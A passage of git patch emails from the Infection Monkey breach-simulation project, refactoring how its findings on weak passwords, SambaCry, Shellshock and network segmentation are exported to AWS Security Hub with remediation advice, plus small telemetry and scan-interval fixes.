3ca292587..2d1a5995b 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,3 @@ { - "server_config": "standard", - "aws": { - "sec_hub_product_arn": "324264561773:product/guardicore/aws-infection-monkey" - } + "server_config": "standard" } \ No newline at end of file diff --git a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt index 7046bf231..3691ca490 100644 --- a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -15,4 +15,5 @@ ipaddress enum34 PyCrypto boto3 +awscli virtualenv \ No newline at end of file From 1339ab723f1d390929dac3f14dfb0b0b4e898f0d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 15:48:41 +0200 Subject: [PATCH 50/71] * mistaken _ with -... --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 581cbf3dc..7425cb265 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - if 'instance-id' in telemetry_json['data']['aws']: + if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) From 498ddcacf510315833bbbd45c85cd92245856350 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 16:51:12 +0200 Subject: [PATCH 51/71] * mistaken _ with -... --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 7425cb265..ac2addbb5 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -194,7 +194,7 @@ class Telemetry(flask_restful.Resource): if 'aws' in telemetry_json['data']: if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) + {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): From 1cedfb5c2da01326c7b206f5b321f1b6260c777c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 17:43:53 +0200 Subject: [PATCH 52/71] small fixes --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/report.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index ac2addbb5..b88acbac6 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -194,7 +194,7 @@ class Telemetry(flask_restful.Resource): if 'aws' in telemetry_json['data']: if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}) + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 3120194a3..bd03fb78c 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -555,7 +555,8 @@ class ReportService: def get_machine_aws_instance_id(hostname): aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) if aws_instance_id_list: - return str(aws_instance_id_list[0].get('aws_instance_id', None)) + if 'aws_instance_id' in aws_instance_id_list[0]: + return str(aws_instance_id_list[0]['aws_instance_id']) else: return None From 3ca761f49217380ed29f708930b4807b96f4d1f2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 11 Dec 2018 12:14:38 +0200 Subject: [PATCH 53/71] RCR: - started the report exporter manager singleton. - added region parsing using regex - --- monkey/common/cloud/aws.py | 14 ++++++- monkey/monkey_island/cc/services/report.py | 17 +++----- .../monkey_island/report_exporter_manager.py | 40 +++++++++++++++++++ monkey/monkey_island/requirements.txt | 3 +- 4 files changed, 60 insertions(+), 14 deletions(-) create mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 7937815ef..401bbec40 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -1,3 +1,4 @@ +import re import urllib2 __author__ = 'itay.mizeretz' @@ -7,11 +8,22 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() - self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None + @staticmethod + def _parse_region(region_url_response): + # For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # This regex will find any AWS region format string in the response. + re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) + if finding: + return finding[0] + else: + return None + def get_instance_id(self): return self.instance_id diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index bd03fb78c..8f72e1b17 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,6 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.environment.environment import load_env_from_file, AWS from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -677,9 +676,7 @@ class ReportService: @staticmethod def is_report_generated(): generated_report = mongo.db.report.find_one({}) - if generated_report is None: - return False - return True + return generated_report is not None @staticmethod def generate_report(): @@ -734,6 +731,10 @@ class ReportService: @staticmethod def is_latest_report_exists(): + """ + This function checks if a monkey report was already generated and if it's the latest one. + :return: True if report is the latest one, False if there isn't a report or its not the latest. + """ latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) if latest_report_doc: @@ -755,14 +756,6 @@ class ReportService: {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - @staticmethod - def get_active_exporters(): - # This function should be in another module in charge of building a list of active exporters - exporters_list = [] - if str(load_env_from_file()) == AWS: - exporters_list.append(AWSExporter) - return exporters_list - @staticmethod def export_to_exporters(report): for exporter in ReportService.get_active_exporters(): diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py new file mode 100644 index 000000000..7e9afc8a9 --- /dev/null +++ b/monkey/monkey_island/report_exporter_manager.py @@ -0,0 +1,40 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter +import logging + +logger = logging.getLogger(__name__) + + +class Borg: + _shared_state = {} + + def __init__(self): + self.__dict__ = self._shared_state + + +class ReportExporterManager(Borg): + def __init__(self): + Borg.__init__(self) + self._exporters_list = [] + self._init_exporters() + + def get_exporters_list(self): + return self._exporters_list + + def _init_exporters(self): + self._init_aws_exporter() + + def _init_aws_exporter(self): + if str(load_env_from_file()) == AWS: + self._exporters_list.append(AWSExporter) + + def export(self): + try: + for exporter in self._exporters_list: + exporter().handle_report() + except Exception as e: + logger.exception('Failed to export report') + +if __name__ == '__main__': + print ReportExporterManager().get_exporters_list() + print ReportExporterManager().get_exporters_list() diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f094df947..858642d19 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto -boto3 \ No newline at end of file +boto3 +awscli \ No newline at end of file From 3ca5119e03175dfc9383b9e7c963371674ca2a3b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:25:47 +0200 Subject: [PATCH 54/71] Remove debug print on what users/passwords to try --- monkey/infection_monkey/network/network_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8fd8c2b65 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -106,8 +106,8 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + time.sleep(WormConfiguration.tcp_scan_interval) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 43896ed7183090bf808af4bc9d78bdfba89f886c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:27:57 +0200 Subject: [PATCH 55/71] Set default scan interval to 0 --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/services/config_schema.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..28c9c249f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..e81029b79 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -79,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..8704cbf19 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -817,7 +817,7 @@ SCHEMA = { "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", - "default": 200, + "default": 0, "description": "Time to sleep (in milliseconds) between scans" }, "tcp_scan_timeout": { From 7f3ee6952758e4a95ea3c42a36f46e3a062b726e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:51:07 +0200 Subject: [PATCH 56/71] - Created the exporter_init file, in there the exporter manager singleton is created and populated with the relevant exporters (the aws exporter in this case) - changed the report file to use the new exporter manager singleton - changed the finding structure in the aws_exporter.py, divided it to creation functions and cleaned the code. --- monkey/monkey_island/cc/exporter_init.py | 17 + monkey/monkey_island/cc/main.py | 3 + .../cc/report_exporter_manager.py | 32 + .../cc/resources/aws_exporter.py | 613 ++++++------------ monkey/monkey_island/cc/services/report.py | 9 +- .../monkey_island/report_exporter_manager.py | 40 -- 6 files changed, 261 insertions(+), 453 deletions(-) create mode 100644 monkey/monkey_island/cc/exporter_init.py create mode 100644 monkey/monkey_island/cc/report_exporter_manager.py delete mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py new file mode 100644 index 000000000..c2285772e --- /dev/null +++ b/monkey/monkey_island/cc/exporter_init.py @@ -0,0 +1,17 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.report_exporter_manager import ReportExporterManager +from cc.resources.aws_exporter import AWSExporter + + +def populate_exporter_list(): + + manager = ReportExporterManager() + if is_aws_exporter_required(): + manager.add_exporter_to_list(AWSExporter) + + +def is_aws_exporter_required(): + if str(load_env_from_file()) == AWS: + return True + else: + return False diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 86015b5d4..a6ded6628 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -34,6 +34,8 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) + + app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) @@ -44,6 +46,7 @@ def main(): http_server.listen(env.get_island_port()) logger.info( 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + IOLoop.instance().start() diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py new file mode 100644 index 000000000..210f28966 --- /dev/null +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -0,0 +1,32 @@ +import logging + +logger = logging.getLogger(__name__) + + +class Singleton(type): + _instances = {} + + def __call__(cls, *args, **kwargs): + if cls not in cls._instances: + cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) + return cls._instances[cls] + + +class ReportExporterManager(object): + __metaclass__ = Singleton + + def __init__(self): + self._exporters_set = set() + + def get_exporters_list(self): + return self._exporters_set + + def add_exporter_to_list(self, exporter): + self._exporters_set.add(exporter) + + def export(self, report): + try: + for exporter in self._exporters_set: + exporter().handle_report(report) + except Exception as e: + logger.exception('Failed to export report') diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 735de6584..8890342dd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -87,6 +87,7 @@ class AWSExporter(Exporter): "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": account_id, + "RecordState": "ACTIVE", "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -120,488 +121,288 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines were able to communicate over unused ports.", - "Description": "Use micro-segmentation policies to disable communication other than the required.", - "Remediation": { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ + def _get_finding_resource(instance_id, instance_arn): + if instance_id: + return [{ "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) + "Id": instance_arn.format(instance_id=instance_id) }] else: - finding["Resources"] = [{'Type': 'Other'}] + return [{'Type': 'Other'}] + + @staticmethod + def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + finding = { + "Severity": { + "Product": severity, + "Normalized": 100 + }, + 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title": title, + "Description": description, + "Remediation": { + "Recommendation": { + "Text": recommendation + } + }} return finding + @staticmethod + def _handle_tunnel_issue(issue, instance_arn): + + return AWSExporter._build_generic_finding( + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than the required.", + recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) + @staticmethod def _handle_sambacry_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", - "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=5, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - "Remediation": { - "Recommendation": { - "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_elastic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", - "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines from different segments are able to communicate.", - "Description": "Segment your network and make sure there is no communication between machines from different segments.", - "Remediation": { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + + return AWSExporter._build_generic_finding( + severity=1, + title="Weak segmentation - Machines from different segments are able to communicate.", + description="Segment your network and make sure there is no communication between machines from different segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue['server_networks']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + issue['server_networks']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", - "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", - "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_rdp_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change 